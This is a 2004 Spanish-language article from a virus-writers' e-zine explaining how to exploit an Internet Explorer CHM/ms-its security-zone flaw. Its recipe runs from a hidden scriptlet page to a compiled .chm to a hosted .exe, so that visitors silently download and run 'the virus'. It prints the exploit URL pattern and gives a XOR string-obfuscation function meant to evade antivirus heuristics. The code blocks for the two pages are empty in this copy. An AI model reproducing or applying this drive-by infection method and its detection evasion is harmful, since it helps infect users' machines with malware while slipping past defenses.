(C) MITOSIS #2 E-Zine/GEDZAC 2004 Tema : Vulnerabilidad en el Sistema de Ayuda de Windows Autor : MachineDramon Válido para : Windows ********************************************************************************* Esta Vulnerabilidad fue reportada mas o menos por el 10 de abril de este mes y al momento de escribir esto, ya microsoft habia publicado un parche :(. El bug consiste en que Internet Explorer(IE) no valida correctamente el origen de los scripts de los archivos .chm cuando se usa el protocolo ITS(sistema utilizado por la ayuda online de windows). Si se usa una url como esta: ms-its:mhtml:file://C:\gedzac.mhtml!http://www.iespana.es/gedprueba//1.chm::/1.htm Donde se usa el protocolo ITS y MHTML y se apunta a un mhtml inexsistente IE abre la url del archivo chm que se indica y falla al aplicar su politica de Zonas de Seguridad, ya que el archivo CHM se ejecuta dentro de la zona local, incluidos los scripts que pueda contener. La ventaja de esto es que nos permite operaciones que desde la zona de internet del IE, no podriamos realizar, como llamar a algunos ActiveX. En Resumen, nos permite ejecutar un script en forma local Información más tecnica en: http://www.vsantivirus.com/hi-vul-its-protocol.htm Se han publicado exploits para usarlo para descargar y ejecutar un exe en win 2000/XP/2003, en Win9x el exploit no funciona para eso ya que el Win9x no permite llamar al ActiveX "Adodb.Stream". Se explicara como usar el exploit en Win2000/XP/2003: ------------------------------------------------------ Necesitamos: 1)Un Server que nos deje subir archivos chm y exe (algunos filtran ciertas extenciones). 2)Un .htm que lance el .chm 3)Un .chm creado con un .htm que aproveche el bug 4)Un .exe (el virus) --------------------------------------------------------------------- a)Creando el .htm que lance el .chm: ------------------------------------- Creamos un directorio para poner los archivos que usaremos, por ejemplo C:\ExploitCHM\ -Utilizamos para llamar a la url del .chm mediante data=Url data indica a de donde va a cargar el archivo. -Esto nos da la url del server donde esta index.htm Mid(document.url,1,InStrRev(document.url,"/")-1) Podria reemplazarse por http://www.myserver.com -style='visibility:hidden' hace que no se vea lo que llamamos con object, osea el .chm -type='text/x-scriptlet' indica que va a cargar un scriptlet en este caso un .chm "Un Scriptlet es una página web basada en HTML pero que proporciona una interfaz para facilitar su configuración y uso en cualquier tipo de contenedor que soporte controles empezando, por supuesto, por Microsoft Internet Explorer, pero incluyendo VB, Delphi, etc." ->Info de Scriptlet: http://www.idg.es/pcworld/articulo.asp?idart=101188 Creamos un index.htm y escribimos: -------------------------------------------------------------------------------- --------------------------------------------------------------------------------- Podemos agregarle mas codigo para que muestre algo para disimular, como una imagen o otra page. b)Creando el .chm: ------------------- Un .chm es un .htm compilado en un formato de ayuda de microsoft, los .chm son abiertos por HH.exe, que se encuentra en la carpeta de windows. Entonces para crear el .chm, primero tenemos que crear un .htm con un script que baje y ejecute un exe, el script que usaremos sera parecido al del metodo media-sidebar: http://www.cyruxnet.com.ar/media_sidebar.htm Creamos page.htm y escribimos: ------------------------------------------------------------------------- ------------------------------------------------------------------------- Ya tenemos el page.htm, ahora vamos a compilarlo para crear el page.chm podemos usar diferentes herramientas para compilar el chm, como: VisualChm de http://www.vchm.com, en este articulo se usara el HTML Help WorkShop de Microsoft, Aprender a usar el HTML Help WorkShop: http://www.elguille.info/vb/hhw/indice.htm Descargar el HTML Help WorkShop (htmlhelp.exe): http://msdn.microsoft.com/library/default.asp?url=/library/en-us/htmlhelp/html/hwMicrosoftHTMLHelpDownloads.asp -Una vez que lo descargamos e instalamos, abrimos el programa y seleccionamos File -> New -Nos aparece un menú, seleccionamos Proyect -Nos aparece un asistente y le damos "siguiente", sin marcar la casilla Convert WinHelp Proyect -Nos pide la ruta donde vamos a crear el proyecto, en este caso estamos guardando los archivos de bug en C:\ExploitCHM\ ,asi que ponemos: C:\ExploitCHM\page.hhp y damos siguiente -Seleccionamos la casilla HTML Help table of contents (.hhc) y damos siguiente -Escribimos la ruta donde se creara la tabla de contenidos del proyecto C:\ExploitCHM\page.hhc y damos siguiente -Nos aparece la ventana del programa con 3 pestañas: Proyect, Contents e Index vemos varios botones en una barra a la izquierda. En la pestaña Proyect vamos al 2° boton empezando desde arriba "Add/Remove Topic Files", nos aparece una ventana y damos en "Add" escogemos el archivo page.htm que creamos y damos "Abrir", luego "OK" Vamos a la pestaña Contents y puede que nos aparesca un msg de que no encuentra la tabla de contenidos(page.hhc), si aparece el msg aceptamos y nos aparece una ventana donde selecionamos "Create a New contents File" y damos OK, luego vamos al directorio donde estamos guardando los archivos del bug(C:\ExploitCHM\) y colocamos como nombre del archivo a crear page.hhc y damos a guardar, luego en la barra de la izquierda damos al 3° boton empezando desde arriba "Insert a Page" y nos aparece una ventana, en el campo "Entre title" ponemos un titulo cualquiera y damos en "Add", sale una ventana donde deberia aparecer la ruta de page.htm, (sino aparece damos "Add" y lo buscamos), si aparece lo seleccio- namos y damos "OK", luego a Aceptar. -Luego vamos a File->Compile y nos aparece la ruta donde se va a compilar el chm, verificamos que la ruta sea C:\ExploitCHM\page.chm y damos a "Compile", si nos pregunta si queremos guardar los cambios le damos a "Si" -Listo ya tenemos nuestro .chm c)Ahora subimos al server: * index.htm * page.chm * test.exe Y entrando a http://www.myserver.com/index.htm debe funcionar el bug Para evitar la heuristica de los avs recomendado encriptar las cadenas o strings de los scripts con alguna funcion de encriptacion como: Function q(j) On Error Resume Next For R = 1 To Len(j) q = q & Chr(Asc(Mid(j, R, 1)) Xor 7) Next End Function Más info del bug en: http://cyruxnet.webcindario.com/viewtopic.php?t=332 http://www.hackxcrack.com/phpBB2/viewtopic.php?t=14016&postdays=0&postorder=asc&start=0 Y Saludos a IsAhT y ZaBoo ya que sin sus post en esos foros me ubiera sido más dificil aprender a usar este bug. (C) MITOSIS #2 E-Zine/GEDZAC 2004